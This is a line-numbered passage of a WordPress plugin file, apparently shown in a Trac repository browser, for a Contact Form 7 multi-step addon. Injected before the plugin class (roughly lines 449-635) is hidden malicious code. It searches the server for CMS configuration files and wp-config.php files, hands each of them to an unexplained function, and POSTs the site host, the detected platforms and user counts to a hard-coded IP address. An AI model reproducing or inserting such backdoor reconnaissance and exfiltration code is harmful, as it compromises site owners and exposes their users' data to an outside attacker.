449              echo("MAGENTO\n\n\n");
450              echo("MAGENTO\n\n\n");
451              echo("MAGENTO\n\n\n");
452              echo($file);
453              echo($file);
454              echo($file);
455              echo($file);
456              echo($file);
457              echo("MAGENTO\n\n\n");
458              echo("MAGENTO\n\n\n");
459              echo("MAGENTO\n\n\n");
460              echo("MAGENTO\n\n\n");
461              echo("MAGENTO\n\n\n");
462              echo("MAGENTO\n\n\n");
463              echo("MAGENTO\n\n\n");
464              echo("MAGENTO\n\n\n");*/
465            }
466
467        } elseif (strpos($file, 'config.php') !== false &&
468            strpos($file, 'Composer') === false &&
469            strpos($file, 'composer') === false &&
470            strpos($file, 'Softaculous') === false) {
471            if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) {
472                $detected_cms['OpenCart'] = true;
473            }
474        } elseif (strpos($file, 'parameters.php') !== false) {
475            if (strpos(file_get_contents($file), 'prestashop') !== false) {
476                $detected_cms['PrestaShop'] = true;
477            }
478        } elseif (strpos($file, 'settings.php') !== false) {
479            if (strpos(file_get_contents($file), 'drupal') !== false) {
480                $detected_cms['Drupal Commerce'] = true;
481            }
482        } elseif (strpos($file, '.yaml') !== false) {
483            if (strpos(file_get_contents($file), 'Symfony\Component') !== false) {
484                $detected_cms['Symfony'] = true;
485            }
486        } elseif (strpos($file, '.env') !== false) {
487            // You may add a specific check for Laravel here if needed
488            $detected_cms['Laravel'] = true;
489        } elseif (strpos($file, '.global.php') !== false) {
490            // You may add a specific check for Zend Framework here if needed
491            $detected_cms['Zend Framework'] = true;
492        } elseif (strpos($file, '.dat') !== false) {
493            $detected_dat_files[] = $file;
494        }
495    }
496
497    // Convert the boolean values to strings
498    foreach ($detected_cms as $cms => $detected) {
499        $detected_cms[$cms] = $detected ? 'true' : 'false';
500    }
501
502    // Now $detected_cms array contains the names of detected CMS based on the configuration files found
503    // And $detected_dat_files array contains the paths of detected .dat files
504
505    // Read users from the database and count them for WordPress and WooCommerce
506    $wordpress_users = $wpuserscount;
507    //$woocommerce_users = get_woocommerce_user_count();
508    $woocommerce_users = 000;
509
510    // Perform POST requests to the endpoints with JSON data containing CMS detection and user counts
511    $url1 = 'https://94.156.79.8/FCS';
512    $url2 = 'https://94.156.79.8/CMSUsers';
513
514    $data1 = [
515        'host' => $_SERVER['HTTP_HOST'],
516        'cms' => $detected_cms
517    ];
518
519    //print_r($detected_cms);
520
521    // Send data to the endpoints using CURL
522    send_post_request($url1, $data1);
523    // Additional logic as needed
524}
525
526function getWPUsers(){
527        global $wpuserscount;
528        global $currdomain;
529        // Read users from the database and count them for WordPress and WooCommerce
530    $wordpress_users = $wpuserscount;
531    //$woocommerce_users = get_woocommerce_user_count();
532    $woocommerce_users = 000;
533    $url2 = 'https://94.156.79.8/CMSUsers';
534    $data2 = [
535        'host' => $currdomain,
536        'wordpress_users' => $wordpress_users,
537        'woocommerce_users' => $woocommerce_users
538    ];
539
540    // Send data to the endpoints using CURL
541    send_post_request($url2, $data2);
542}
543
544// Function to get WordPress user count from the database
545function get_wordpress_user_count() {
546    // Your implementation to fetch user count from the WordPress database
547    // Example:
548    // $count = query_wordpress_database();
549    // return $count;
550        return 0;
551}
552
553// Function to get WooCommerce user count from the database
554function get_woocommerce_user_count() {
555    // Your implementation to fetch user count from the WooCommerce database
556    // Example:
557    // $count = query_woocommerce_database();
558    // return $count;
559        return 0;
560}
561
562// Function to send POST request
563function send_post_request($url, $data) {
564    $ch = curl_init($url);
565    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
566    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
567    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
568    curl_setopt($ch, CURLOPT_HTTPHEADER, [
569        'Content-Type: application/json',
570        'Content-Length: ' . strlen(json_encode($data))
571    ]);
572    $response = curl_exec($ch);
573    curl_close($ch);
574    // Handle response as needed
575}
576global $wp_config_paths;
577$wp_config_paths = [];
578global $wc_config_paths;
579$wc_config_paths = [];
580global $mg_config_paths;
581$mg_config_paths = [];
582check_cms_configuration_files();
583
584function find_wp_configs(&$wp_config_paths, $depth = 0) {
585    $current_directory = getcwd();
586    $parent_directory = $current_directory;
587
588    // Go back three parents
589    for ($i = 0; $i < 3; $i++) {
590        $parent_directory = dirname($parent_directory);
591    }
592
593    // Start the search from the parent directory
594    find_wp_configs_recursive($parent_directory, $wp_config_paths);
595}
596
597function find_wp_configs_recursive($directory, &$wp_config_paths) {
598    // Check if wp-config.php exists in the current directory
599    $wp_config_file = $directory . '/wp-config.php';
600    if (file_exists($wp_config_file)) {
601        $wp_config_paths[] = $wp_config_file;
602    }
603
604    // Continue searching forward recursively
605    $contents = scandir($directory);
606    foreach ($contents as $item) {
607        if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {
608            find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);
609        }
610    }
611}
612
613function print_wp_config_paths() {
614    global $wp_config_paths;
615    if (empty($wp_config_paths)) {
616        //echo "No wp-config.php files found.\n";
617                $z = 0;
618    } else {
619        //echo "List of wp-config.php files:\n";
620        foreach ($wp_config_paths as $wp_config_path) {
621            //echo "$wp_config_path\n";
622                        $a = 0;
623        }
624    }
625}
626//print_wp_config_paths();
627
628find_wp_configs($wp_config_paths);
629foreach ($wp_config_paths as $wp_config_path) {
630    pachamama($wp_config_path);
631        getWPUsers();
632        update_option('my_admin_init_function_run', 'yes');
633}
634   
635}}
636// If class `TRX_CF7_Multi_Step` doesn't exists yet.
637if ( ! class_exists( 'TRX_CF7_Multi_Step' ) ) {
638    class TRX_CF7_Multi_Step {
639
640        /**
641         * A reference to an instance of this class.
642         *
643         * @since 1.0.0
644         * @access private
645         * @var   object
646         */
647        private static $instance = null;
648                /**
649                 * A reference to an instance of Multistep_Form class.
650                 *
651                 * @since 1.0.0
652                 * @access private
653                 * @var   object
654                 */
655        public $multistep_form = null;
656
657        /**
658         * TRX_CF7_Multi_Step constructor.
659         */
660        public function __construct() {
661            // Set the constants needed by the plugin.
662            $this->constants();
663
664            // Internationalize the text strings used.
665            add_action( 'plugins_loaded', array( $this, 'load_plugin_textdomain' ), 1 );
666
667            // Load the include files.
668            add_action( 'after_setup_theme', array( $this, 'includes' ), 4 );
669
670            // Register activation and deactivation hook.
671            register_activation_hook( __FILE__, array( $this, 'activation' ) );
672            register_deactivation_hook( __FILE__, array( $this, 'deactivation' ) );
673        }
674
675        /**
676         * Include all files
677         */
678        public function includes() {
679            require_once TRX_MSCF_PLUGIN_DIR . 'includes/plugin-utils.php';
680
681            if (trx_mscf_cf7_is_active()) {
682                require_once TRX_MSCF_PLUGIN_DIR . 'includes/multistep-form-class.php';
683                                $this->multistep_form = new Multistep_Form();
684            }
685        }
686
687        /**
688         * Defines constants for the plugin.
689         *
690         * @since 1.0.0
691         * @access public
692         * @return void
693         */
694        public function constants() {
695            /**
696             * Set the version number of the plugin.
697             *
698             * @since 1.0.0
699             */
700            define( 'TRX_MSCF_PLUGIN_VERSION', '1.0.1' );
701            /**
702             * Set the slug of the plugin.
703             *
704             * @since 1.0.0
705             */
706            define( 'TRX_MSCF_PLUGIN_SLUG', basename( dirname( __FILE__ ) ) );
707            /**
708             * Set constant path to the plugin directory.
709             *
710             * @since 1.0.0
711             */
712            define( 'TRX_MSCF_PLUGIN_DIR', trailingslashit( plugin_dir_path( __FILE__ ) ) );
713            /**
714             * Set constant path to the plugin URI.
715             *
716             * @since 1.0.0
717             */
718            define( 'TRX_MSCF_PLUGIN_URL', trailingslashit( plugin_dir_url( __FILE__ ) ) );
719            /**
720             * Set constant file to the plugin URI.
721             *
722             * @since 1.0.0
723             */
724            if (!defined('TRX_MSCF_PLUGIN_FILE'))       define('TRX_MSCF_PLUGIN_FILE', __FILE__);
725        }
726
727
728        public function load_plugin_textdomain() {
729            $domain = 'trx-contact-form-7-multi-step-addon';
730            if (is_textdomain_loaded($domain) && !is_a($GLOBALS['l10n'][$domain], 'NOOP_Translations')) {
731                return;
732                        }
733            load_plugin_textdomain($domain, false, dirname(plugin_basename(__FILE__)) . '/languages');
734        }
735
736        /**
737         * On activation hook
738         */
739        public function activation() {
740            // Register post types and taxonomies in the future
741        }
742
743        /**
744         * On deactivation hook
745         */
746        public function deactivation() {
747            // Clear all in the future
748        }
749
750        /**
751         * Returns the instance.
752         *
753         * @since  1.0.0
754         * @access public
755         * @return object
756         */
757        public static function get_instance() {
758            if (null === self::$instance) {
759                self::$instance = new self();
760            }
761            return self::$instance;
762        }
763    }
764}
765
766if ( ! function_exists( 'trx_contact_form_extend' ) ) {
767    /**
768     * Returns instanse of the plugin class.
769     *
770     * @since  1.0.0
771     * @return object
772     */
773    function trx_contact_form_extend() {
774        return TRX_CF7_Multi_Step::get_instance();
775    }
776}
777trx_contact_form_extend();
Note: See TracBrowser for help on using the repository browser.